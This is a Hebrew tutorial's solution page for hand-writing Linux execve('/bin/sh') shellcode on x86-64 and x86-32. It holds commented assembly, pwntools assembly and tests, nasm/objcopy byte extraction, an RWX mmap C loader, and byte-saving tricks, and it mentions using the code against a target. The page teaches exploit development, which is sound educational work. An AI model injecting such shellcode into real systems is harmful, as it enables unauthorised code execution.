3.1 כתיבת shellcode ידני פתרון
פתרון - כתיבת shellcode ידני¶
בפתרון נעבור על כל תרגיל: האסמבלי המלא עם הערות, פקודות ההרכבה, ואיך מוכיחים שנפתח shell. בסוף כל תרגיל נסביר למה זה עבד ואיך להכליל.
פתרון תרגיל 1 - shellcode ל-x86-64¶
הרעיון: לאפס את הרגיסטרים שצריכים להיות NULL, לבנות את "/bin//sh" על המחסנית, להצביע אליה עם rdi, לשים rax = 59, ולהריץ syscall. הנה האסמבלי המלא:
_start:
xor rdx, rdx ; rdx = 0 -> envp = NULL (argument 3)
push rdx ; zero qword on the stack - terminates the string
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" (little-endian, no zero bytes)
push rbx ; the string sits below the zero qword
mov rdi, rsp ; rdi -> "/bin//sh" (argument 1)
xor rsi, rsi ; rsi = 0 -> argv = NULL (argument 2)
xor eax, eax ; zero out all of rax
mov al, 59 ; rax = 59 -> execve syscall number
syscall ; runs execve("/bin//sh", 0, 0)
הרכבה ובדיקת אפסים עם pwntools:
from pwn import *
context.arch = 'amd64'
sc = asm('''
xor rdx, rdx
push rdx
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor eax, eax
mov al, 59
syscall
''')
print(len(sc), 'bytes') # 27 bytes
print(sc.hex()) # 4831d25248bb2f62696e2f2f7368...
assert b'\x00' not in sc # passes - no zero bytes
הפלט הצפוי:
(רווח הוספתי רק לקריאוּת - זו מחרוזת אחת רציפה של 27 בתים.)
בדיקה שנפתח shell, ישירות מ-pwntools:
למה זה עבד: כל בית אפס פוטנציאלי טופל. xor eax, eax + mov al, 59 נותנים rax = 59 בלי אפסים (במקום mov rax, 59 שמייצר שלושה). את המחרוזת בת שמונה הבתים "/bin//sh" דחפנו כמקשה אחת, וה-push rdx לפניה סיפק את בית ה-\0 המסיים. איך להכליל: אותה תבנית - לאפס, לבנות מחרוזת על המחסנית, syscall - עובדת לכל קריאת מערכת, לא רק execve. רק מספר הקריאה והארגומנטים משתנים.
פתרון תרגיל 2 - shellcode ל-x86-32¶
אותה תבנית, אבל עם המספרים והמנגנון של 32 ביט: eax = 11, ארגומנטים ב-ebx/ecx/edx, והפעלה עם int 0x80. הדחיפות הן 4 בתים, אז מחלקים את המחרוזת לשניים.
_start:
xor eax, eax ; eax = 0
push eax ; zero dword - terminates the string
push 0x68732f2f ; "//sh" (second half, to the higher address)
push 0x6e69622f ; "/bin" (first half, to the lower address)
mov ebx, esp ; ebx -> "/bin//sh" (argument 1)
xor ecx, ecx ; ecx = 0 -> argv = NULL (argument 2)
xor edx, edx ; edx = 0 -> envp = NULL (argument 3)
mov al, 11 ; eax = 11 -> execve syscall number
int 0x80 ; runs the call
הרכבה ובדיקה:
from pwn import *
context.arch = 'i386'
sc = asm('''
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 11
int 0x80
''')
print(len(sc), 'bytes') # 23 bytes
assert b'\x00' not in sc
p = run_shellcode(sc)
p.sendline(b'id')
print(p.recvline())
p.interactive()
הפלט הצפוי:
למה זה עבד: הסדר של הדחיפות הוא המפתח. מכיוון שהמחסנית גדלה כלפי מטה, הדחיפה האחרונה ("/bin") יושבת בכתובת הנמוכה ביותר, ולכן esp מצביע ישר על תחילת המחרוזת. mov al, 11 מסתמך על כך ש-eax אופס עוד בהתחלה. איך להכליל: זכרו שההבדלים בין 32 ל-64 ביט הם קבועים - מספר הקריאה, שמות הרגיסטרים, ומנגנון ההפעלה. אותה חשיבה, מספרים אחרים.
פתרון תרגיל 3 - הרכבה עם nasm וטוען ב-C¶
נתחיל מקובץ nasm ל-64 ביט, sh64.asm:
BITS 64
global _start
section .text
_start:
xor rdx, rdx
push rdx
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor eax, eax
mov al, 59
syscall
הרכבה, חילוץ הבתים, ובדיקה מהירה כתוכנית עצמאית:
nasm -f elf64 sh64.asm -o sh64.o
ld sh64.o -o sh64
./sh64 # opens a shell immediately - quick check
objcopy -O binary -j .text sh64.o sh64.bin
xxd sh64.bin # see the 27 bytes
python3 -c "print(''.join('\\x%02x'%b for b in open('sh64.bin','rb').read()))"
הפלט של השורה האחרונה הוא בדיוק מה שמדביקים לטוען:
\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05
הטוען loader.c עם הבתים בפנים:
#include <string.h>
#include <sys/mman.h>
unsigned char sc[] =
"\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
"\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05";
int main(void) {
void *page = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
memcpy(page, sc, sizeof(sc));
((void (*)(void))page)();
return 0;
}
gcc -o loader loader.c
./loader
# id
uid=1000(user) gid=1000(user) ...
# ls
loader loader.c sh64.asm sh64.bin sh64.o
עבור 32 ביט, אותו תהליך עם הקובץ המקביל sh32.asm (עם BITS 32):
nasm -f elf32 sh32.asm -o sh32.o
ld -m elf_i386 sh32.o -o sh32
./sh32 # quick check
objcopy -O binary -j .text sh32.o sh32.bin
gcc -m32 -o loader32 loader.c # after pasting in the 32-bit bytes
./loader32
למה זה עבד: nasm הרכיב בדיוק את ההוראות שכתבנו, ו-ld עטף אותן ב-ELF מריץ עם נקודת כניסה _start. הטוען מקצה עמוד RWX עם mmap, מעתיק אליו את הבתים, וקורא להם כאילו היו פונקציה. בזכות ה-PROT_EXEC המעבד מוכן להריץ את העמוד למרות שהוא נכתב בזמן ריצה. איך להכליל: הזרם nasm -> objcopy -> \xNN הוא הדרך הקנונית להוציא בתים גולמיים מכל אסמבלי, וטוען ה-mmap הוא ארגז חול נוח לבדוק כל shellcode לפני שזורקים אותו על target.
פתרון תרגיל 4 (אתגר) - קיצור והשוואה¶
מדידת האורכים:
from pwn import *
context.arch = 'amd64'
mine64 = asm(open('sh64.asm').read().split('_start:')[1])
craft64 = asm(shellcraft.amd64.linux.sh())
print('64:', len(mine64), 'vs shellcraft', len(craft64))
context.arch = 'i386'
craft32 = asm(shellcraft.i386.linux.sh())
print('32 shellcraft:', len(craft32))
הגרסה שכתבנו ל-64 ביט היא 27 בתים. גרסת shellcraft בדרך כלל דומה או מעט ארוכה יותר, כי היא כתובה כדי להיות קריאה וכללית, לא כדי לשבור שיאי אורך.
קיצור אמיתי לגרסת ה-32 ביט: אפשר לחסוך בית אחד בעזרת cdq. ההוראה cdq מרחיבה את הסימן של eax לתוך edx (בית אחד: 99). אם אנחנו יודעים שבנקודה מסוימת eax חיובי קטן (הבית העליון שלו 0), אז cdq מאפס את edx בבית אחד במקום שני הבתים של xor edx, edx:
_start:
xor eax, eax ; eax = 0
push eax ; terminates the string
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx -> "/bin//sh"
xor ecx, ecx ; ecx = 0
cdq ; edx = 0 (one byte, since eax=0 so it's positive)
mov al, 11 ; eax = 11
int 0x80
זה חוסך בית אחד לעומת xor edx, edx. אחרי כל שינוי מריצים שוב את הבדיקות:
from pwn import *
context.arch = 'i386'
sc = asm(open('sh32_short.asm').read())
print(len(sc)) # 22 bytes
assert b'\x00' not in sc
run_shellcode(sc).interactive() # still opens a shell
לפירוק והשוואה של ההוראות:
למה זה עבד: cdq מסתמך על מצב ידוע של eax (0, ולכן הסימן 0), ובגלל זה הוא מאפס את edx בזול. זה בדיוק סוג התלות בין הוראות ש-shellcraft מנצל. איך להכליל: קיצור shellcode הוא משחק של ניצול מצב קיים - רגיסטר שכבר אופס, דגל שכבר ידוע - כדי לחסוך בתים. בשלב הזה כמה בתים לא קריטיים, אבל כשנגיע ל-shellcode מוגבל (פרק 3.3), כל בית וכל תו נספרים, והרגלים האלה יהיו ההבדל בין הצלחה לכישלון.